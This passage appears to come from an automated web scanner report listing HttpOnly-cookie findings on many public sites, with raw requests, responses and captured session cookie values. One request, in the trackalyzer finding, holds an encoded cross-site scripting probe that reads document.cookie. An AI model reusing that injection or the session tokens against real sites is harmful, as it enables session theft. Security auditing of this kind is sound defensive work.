<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...

15.45. http://opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://opensource.org
Path:	/licenses/mit-license.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESSe6df14a6557d381f7820d30df9723b5b=3on1jju7fugormau6ahnchc406; expires=Tue, 01-Mar-2011 19:37:55 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses/mit-license.php HTTP/1.1
Host: opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:35 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESSe6df14a6557d381f7820d30df9723b5b=3on1jju7fugormau6ahnchc406; expires=Tue, 01-Mar-2011 19:37:55 GMT; path=/; domain=.opensource.org
Last-Modified: Sun, 06 Feb 2011 16:04:35 GMT
ETag: "c1673a4245ecebf954ab2e909fb9e015"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...

15.46. http://pdfdatabase.com/search/malayalam-kochupusthakam-free-download.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://pdfdatabase.com
Path:	/search/malayalam-kochupusthakam-free-download.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=e724f4995ab87e227b65ec2f714edd90; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /search/malayalam-kochupusthakam-free-download.html HTTP/1.1
Host: pdfdatabase.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 06 Feb 2011 06:11:26 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.10
Set-Cookie: PHPSESSID=e724f4995ab87e227b65ec2f714edd90; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 39330

<html>
<head>
<title>Malayalam kochupusthakam free download - .Pdf & Word Free Ebooks Download</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="keywords" conten
...[SNIP]...

15.47. http://phonefavs.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://phonefavs.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=1b89eafffdaa51775d731fea3360282e; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: phonefavs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:35 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=1b89eafffdaa51775d731fea3360282e; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 6511

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.1//EN" "http://www.openmobilealliance.org/tech/DTD/xhtml-mobile11.dtd">
<html xmlns="http://www.w3.org/199
...[SNIP]...

Summary

Severity:	Low
Confidence:	Firm
Host:	http://photobucket.com
Path:	/$\|zone.msn.com\|xbox.com\|www.aol.com/$\|http:/Webmail.aol.com/$\|http:/travel.aol.com/$\|http:/netscape.aol.com/$\|http:/music.aol.com/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

pb_session=MWE2ZDZiZWM5M2ZkOWQzYTVlYTE2MDRjMGJjOWE0ODAkYToyOntzOjQ6InRpbWUiO2k6MTI5NzAwODI3ODtzOjQ6InVuaXEiO3M6MjM6IjEyOTcwMDgyNzguMDQ2MTU2ODg0ODg3Ijt9; path=/; domain=.photobucket.com
flash=deleted; expires=Sat, 06-Feb-2010 16:04:36 GMT; path=/; domain=.photobucket.com
pb_userid=ZDQyNDZmM2I3NDdjM2RlNzEyMGZlMjUzYWE2ODU3NjIkYToxOntzOjc6InRyYWNraWQiO3M6MjQ6IjEyOTcwMDgyNzguMDQ1NjQwMTk3ODgzOCI7fQ%3D%3D; expires=Tue, 19-Jan-2038 03:14:06 GMT; path=/; domain=.photobucket.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /$|zone.msn.com|xbox.com|www.aol.com/$|http:/Webmail.aol.com/$|http:/travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: photobucket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 06 Feb 2011 16:04:37 GMT
Server: Apache
Set-Cookie: flash=deleted; expires=Sat, 06-Feb-2010 16:04:36 GMT; path=/; domain=.photobucket.com
Set-Cookie: pb_userid=ZDQyNDZmM2I3NDdjM2RlNzEyMGZlMjUzYWE2ODU3NjIkYToxOntzOjc6InRyYWNraWQiO3M6MjQ6IjEyOTcwMDgyNzguMDQ1NjQwMTk3ODgzOCI7fQ%3D%3D; expires=Tue, 19-Jan-2038 03:14:06 GMT; path=/; domain=.photobucket.com
Set-Cookie: pb_session=MWE2ZDZiZWM5M2ZkOWQzYTVlYTE2MDRjMGJjOWE0ODAkYToyOntzOjQ6InRpbWUiO2k6MTI5NzAwODI3ODtzOjQ6InVuaXEiO3M6MjM6IjEyOTcwMDgyNzguMDQ2MTU2ODg0ODg3Ijt9; path=/; domain=.photobucket.com
Location: http://photobucket.com/findstuff/?httpstatus=404
Content-Length: 0
Connection: close
Content-Type: text/html

15.49. http://ping.fm/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://ping.fm
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=1l5vulbvebogrm90n8ljmbpqf0; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: ping.fm
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.50. https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://rewards.americanexpress.com
Path:	/myca/loyalty/us/rewards/mracctmgmt/acctsumm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000OKmtIEweVktMqYkJjMqjy9o:14eu0tsf4; Path=/
SaneID=10.10.14.1-1296942739988089; Path=/; expires=Tue, 09-Feb-16 21:52:19 GMT; domain=.americanexpress.com
NSC_nf3-x-sx-bddu-b=ffffffff97a3d13e45525d5f4f58455e445a4a42ba91;path=/
sroute=554568202.58148.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.51. http://session.owneriq.net/regman/mem/initsession previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://session.owneriq.net
Path:	/regman/mem/initsession

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=d57faaa8-3176-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:25:27 GMT; path=/; domain=.owneriq.net

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.52. http://software.intel.com/en-us/articles/intel-cloud-builders/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://software.intel.com
Path:	/en-us/articles/intel-cloud-builders/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=c680a28da547976765a9fecb001f8b7a; path=/; domain=intel.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.53. http://software.intel.com/sites/oss/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://software.intel.com
Path:	/sites/oss/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=12e5653e571c7080ca749d32c426701f; path=/; domain=intel.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/oss/ HTTP/1.1
Host: software.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.54. http://sphinn.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://sphinn.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ebd855b093eff9801dff359c0bc0930d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1296946763%3Bs%3A10%3A%22rememberme%22%3Bi%3A0%3B%7D28f3522411827ac80c00f312bf0c11e5; expires=Sun, 06-Feb-2011 00:59:23 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: sphinn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.55. https://splunk.webex.com/mw0305l/mywebex/default.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://splunk.webex.com
Path:	/mw0305l/mywebex/default.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=vG1dNNWKvTrnmZhJc7QHlY8p5PBcRt6fsv8sVgVQQ5zk46f6XVL2!-1021108312; path=/
NSC_kmkcwxm=404467a20838;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /mw0305l/mywebex/default.do HTTP/1.1
Host: splunk.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.56. http://splunkbase.splunk.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://splunkbase.splunk.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=a6j517nhibdk68eu9vlpi5c1l3; path=/
Apache=173.193.214.243.1296942761754174; path=/; expires=Sun, 01-Feb-26 21:52:41 GMT; domain=.splunk.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.57. http://starpulse.us.intellitxt.com/intellitxt/switch.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://starpulse.us.intellitxt.com
Path:	/intellitxt/switch.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=EDB4D23E026138AF23EF5F1050BE5C48; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /intellitxt/switch.asp?ipid=6648&state=query HTTP/1.1
Host: starpulse.us.intellitxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=EDB4D23E026138AF23EF5F1050BE5C48; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/html
Content-Length: 20
Date: Sat, 05 Feb 2011 23:01:19 GMT
Connection: close

var i_cookie=0;

15.58. http://t.mookie1.com/t/v1/clk previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/clk

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session=1296942768|1296942768; path=/; domain=.mookie1.com
id=985165829036687; path=/; expires=Thu, 01-Mar-12 21:52:48 GMT; domain=.mookie1.com
OAX=rcHW801NxrAADCGH; path=/; expires=Thu, 01-Mar-12 21:52:48 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /t/v1/clk HTTP/1.1
Host: t.mookie1.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.59. http://t2.trackalyzer.com/trackalyze.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t2.trackalyzer.com
Path:	/trackalyze.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASPSESSIONIDQSASCCDB=EJNDCEFCLMIEOPMINAFPKHLN; path=/
loop=http%3A%2F%2Fwww%2Eowneriq%2Ecom%2Fownership%2Dtargeting%3Fsrc%3D728x90%5Fblue; expires=Sun, 06-Feb-2011 08:00:00 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /trackalyze.asp?r=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&p=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue&i=16592 HTTP/1.1
Host: t2.trackalyzer.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: trackalyzer=123144565411843

Response

HTTP/1.1 302 Object moved
Date: Sat, 05 Feb 2011 22:32:04 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://trackalyzer.com/w3c/p3p.xml", CP="NON DSP COR CURa OUR NOR"
Location: http://t2.trackalyzer.com/dot.gif
Content-Length: 154
Content-Type: text/html
Set-Cookie: loop=http%3A%2F%2Fwww%2Eowneriq%2Ecom%2Fownership%2Dtargeting%3Fsrc%3D728x90%5Fblue; expires=Sun, 06-Feb-2011 08:00:00 GMT; path=/
Set-Cookie: ASPSESSIONIDQSASCCDB=EJNDCEFCLMIEOPMINAFPKHLN; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="http://t2.trackalyzer.com/dot.gif">here</a>.</body>

15.60. http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://tbe.taleo.net
Path:	/NA7/ats/careers/jobSearch.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=8BBB3E3E4A16FEEEBAE957F8D88AD6A4.NA7_primary_jvm; Path=/NA7/ats

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /NA7/ats/careers/jobSearch.jsp HTTP/1.1
Host: tbe.taleo.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 500 Internal Server Error
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=8BBB3E3E4A16FEEEBAE957F8D88AD6A4.NA7_primary_jvm; Path=/NA7/ats
Content-Length: 2209
Connection: close
Content-Type: text/html;charset=UTF-8

<html>
<head>
<title>Taleo Business Edition
</title>
<link type="text/css" rel="stylesheet" href="https://tbe.taleo.net/NA7/ats/cach
...[SNIP]...

15.61. http://technorati.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://technorati.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

NEWTRSESSID=b6500e835e6995a9d367f969b2ea5516; expires=Mon, 09-May-2011 23:01:22 GMT; path=/; domain=technorati.com
tvisitor=173.193.214.243.1296948284777438; path=/; expires=Thu, 04-Feb-16 23:24:44 GMT; domain=.technorati.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: technorati.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.62. http://tipd.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://tipd.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=f41u6d286sld84d5bgam0po560; path=/
swcms_messages=a%3A1%3A%7Bi%3A1%3Ba%3A1%3A%7Bs%3A4%3A%5C%22time%5C%22%3Bi%3A1296946881%3B%7D%7D; expires=Wed, 28-Mar-2012 15:01:21 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Low
Confidence:	Firm
Host:	http://travel.aol.com
Path:	/$\|http:/netscape.aol.com/$\|http:/music.aol.com/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=5D6805526F760E58513E59C4E8972ABB; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.64. http://twitter.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFks0PctAToHaWQiJTI1M2RkNWFjYWE5MzQ0%250ANzI3OTY5MzUwMjMxMDk1Njk4IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--b166f799ab6822f231f1cb3f1d2746bfa9e0bc22; domain=.twitter.com; path=/
k=173.193.214.243.1296942771285663; path=/; expires=Sat, 12-Feb-11 21:52:51 GMT; domain=.twitter.com
guest_id=129694277128817686; path=/; expires=Mon, 07 Mar 2011 21:52:51 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 21:52:51 GMT
Server: hi
Status: 200 OK
X-Transaction: Sat Feb 05 21:52:51 +0000 2011-65977-37832
ETag: "9cbed84ee46357ad6eeda7e5594d953e"
Last-Modified: Sat, 05 Feb 2011 21:52:51 GMT
X-Runtime: 0.00464
Content-Type: text/html; charset=utf-8
Content-Length: 43885
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296942771285663; path=/; expires=Sat, 12-Feb-11 21:52:51 GMT; domain=.twitter.com
Set-Cookie: guest_id=129694277128817686; path=/; expires=Mon, 07 Mar 2011 21:52:51 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFks0PctAToHaWQiJTI1M2RkNWFjYWE5MzQ0%250ANzI3OTY5MzUwMjMxMDk1Njk4IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--b166f799ab6822f231f1cb3f1d2746bfa9e0bc22; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8">
<meta http-equiv="Content-Type" content="text/html; ch
...[SNIP]...

15.65. http://twitter.com/ORTHOSuperSite previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/ORTHOSuperSite

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFgr0PctAToHaWQiJWMzNjM4Yjc5MDhlOWY3%250AYmIyOTNiM2FkMzU3NmNlNTUzIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--73c6365753d94a587faec491fa68d9b7ca42e7ce; domain=.twitter.com; path=/
k=173.193.214.243.1296942771024590; path=/; expires=Sat, 12-Feb-11 21:52:51 GMT; domain=.twitter.com
guest_id=129694277103136378; path=/; expires=Mon, 07 Mar 2011 21:52:51 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ORTHOSuperSite HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.66. http://twitter.com/VibrantMedia previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/VibrantMedia

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCKX8%252FPctAToHaWQiJWZiYWE2NTExMzU3MTU2%250AODhmODhmNjIyMTc3MTIxOTU0IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--41b706acf658b115a8b0aaba3804015520340aec; domain=.twitter.com; path=/
k=173.193.214.243.1296945708188753; path=/; expires=Sat, 12-Feb-11 22:41:48 GMT; domain=.twitter.com
guest_id=129694570819625750; path=/; expires=Mon, 07 Mar 2011 22:41:48 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /VibrantMedia HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.67. http://twitter.com/owneriq previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/owneriq

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CDoHaWQiJTAxOTg5ZTQwNDI2NWFmODgwNDFiY2ZlNDhhYzRlNmMyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI6Pf89y0B--7ec0c9d885ab1c36d31391ef5f8dd6b7dc09b362; domain=.twitter.com; path=/
k=173.193.214.243.1296945706972339; path=/; expires=Sat, 12-Feb-11 22:41:46 GMT; domain=.twitter.com
guest_id=129694570698256586; path=/; expires=Mon, 07 Mar 2011 22:41:46 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /owneriq HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.68. http://twitter.com/search/users previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/search/users

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCJ2j%252BfctAToOcmV0dXJuX3RvIiRodHRwOi8v%250AdHdpdHRlci5jb20vc2VhcmNoL3VzZXJzOgdpZCIlMGY2Njk4NmFlODY0OWIw%250ANDM4NmQ1NzBiOWQ1MGVlNDUiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6%250AOkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%253D--712ed848cada83454aa0484bff4ba74f3f11800c; domain=.twitter.com; path=/
k=173.193.214.243.1296945488792262; path=/; expires=Sat, 12-Feb-11 22:38:08 GMT; domain=.twitter.com
guest_id=129694548879674662; path=/; expires=Mon, 07 Mar 2011 22:38:08 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search/users HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 302 Found
Date: Sat, 05 Feb 2011 22:38:08 GMT
Server: hi
Status: 302 Found
Location: http://twitter.com/login?redirect_after_login=%2Fsearch%2Fusers
X-Runtime: 0.00169
Content-Type: text/html; charset=utf-8
Content-Length: 129
Cache-Control: no-cache, max-age=300
Set-Cookie: k=173.193.214.243.1296945488792262; path=/; expires=Sat, 12-Feb-11 22:38:08 GMT; domain=.twitter.com
Set-Cookie: guest_id=129694548879674662; path=/; expires=Mon, 07 Mar 2011 22:38:08 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCJ2j%252BfctAToOcmV0dXJuX3RvIiRodHRwOi8v%250AdHdpdHRlci5jb20vc2VhcmNoL3VzZXJzOgdpZCIlMGY2Njk4NmFlODY0OWIw%250ANDM4NmQ1NzBiOWQ1MGVlNDUiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6%250AOkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%253D--712ed848cada83454aa0484bff4ba74f3f11800c; domain=.twitter.com; path=/
Expires: Sat, 05 Feb 2011 22:43:08 GMT
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

